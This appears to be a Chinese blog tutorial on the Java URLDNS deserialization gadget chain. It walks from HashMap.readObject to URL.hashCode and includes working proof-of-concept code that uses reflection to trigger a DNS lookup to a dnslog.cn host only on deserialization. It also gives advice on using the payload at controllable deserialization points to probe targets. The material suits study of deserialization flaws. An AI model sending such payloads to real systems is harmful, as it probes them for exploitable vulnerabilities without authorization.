0%

dns链子

dns链子

img

img

hashmap实现了Serializable接口,也重写了readObject,这是一个很常见的类,因此它可以作为起点(它可以被序列化)

我们new一个hashmap类

img

这里当我们序列化的时候

会进入执行该对象(hashmap)的readObject方法,我们跟进去看

img

在它的readObjct方法中又调用了hash方法,我们继续跟进去看

img

里边调用的hash方法又调用了key的hashcode方法

进去hashcode看一下,进去发现也只是实现,而这个key,我们其实这里可以看一下url类的hashcode方法

img

写进URL类看看,看到后边又调用了hashcode,跟进去看看

(这里可以看到条件,传入的key不为空会调用hashcode方法)

img

接了个参数(URL u)

看到这里会对这个参数进行dns解析,好的sink就到这里啦

接下来我们进行构造

总结一下调用链

1
2
3
4
5
6
7
8
9
HashMap().ReadObject() //里边有
putval()
hash(key) //传参是key,这里准备把key换成URL类
key.hashcode()
URL.hashcode()
URLStreamHandler类的hashcode()//传参URL 后边跟进方法
getHostAddress(u)


img

所以我们需要把URL作为key放进这个hashmap,从而能在反序列化这个hashmap对象的时候进去执行hash方法,hash方法调用了url(key)自己的hashcode方法,new的url自己写的传参就是域名,满足条件之后进去

url(key)自己的hashcode方法实际上调用了URLStreamHandler类的hashcode(),从而解析了域名

看起来是万无一失

我们试试执行这个代码

img

但实际上我们发现,仅仅只是序列化操作就已经执行了解析

我们跟进去看看原因

原来在调用put方法的时候就已经执行hash了,所以说我们搞序列化加反序列化实际上是执行了两遍dns解析

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

该怎么绕过这个?我们考虑能不能不用put,用别的方法把key扔进map里边,但是很明显没有

那么我们只能把url扔进去,思考该怎么样才能让其不去调用后续的方法

1
2
3
4
5
6
7
8
9
10
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

---------------------
private int hashCode = -1;

我们发现URL类实际上,如果说hashcode不为-1的话就直接return了,可以看到在URL类里边默认hashcode是-1

所以才能进行下边的

这里用反射来修改URL类的hashmap为13(不是-1就行,这样直接返回)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


URL url = new URL("https://u9rxrp.dnslog.cn");
objectObjectHashMap.put(url,"111");

Class<? extends URL> urlClass = url.getClass();
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,13);


Serialize(objectObjectHashMap);
Deserialize(Serialize(objectObjectHashMap));
}

但是这样的话,正常咱们要反序列化进行来解析dns也失败了,因为这修改参数不只影响序列化的hashcode参数导致没法继续

解决方法就是在put之后,再把hashcode参数修改回来

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static byte[] Serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//new一个数组输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//新建一个对象输出流来接收前边的
objectOutputStream.writeObject(obj);//序列化
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static void Deserialize(byte[] objstream) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(objstream);//字节数组转换为字节输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);//放入Obj对象里边等待反序列化
System.out.println(objectInputStream.readObject().getClass().getName());//调用readObj实现反序列化

}

public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


URL url = new URL("https://itwh8h.dnslog.cn");//给个类


Class urlClass = url.getClass(); //反射修改hashcode,防止序列化时候put已经执行了查询
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,13);

objectObjectHashMap.put(url,"111");

hashCode.set(url,-1); //put之后再修改回来
Serialize(objectObjectHashMap);
Deserialize(Serialize(objectObjectHashMap));
}
}

img

序列化时候没有解析

img

反序列化的时候解析了

具体用的话,就是在我们进行反序列化可控的地方,就直接执行这一套拿个序列化的数据直接上

一般用于探测,因为这些类都很常见,但是万一没有的话就gg

武器化的话,就是把这个url的那个dns随机生成然后给一个序列化数据就行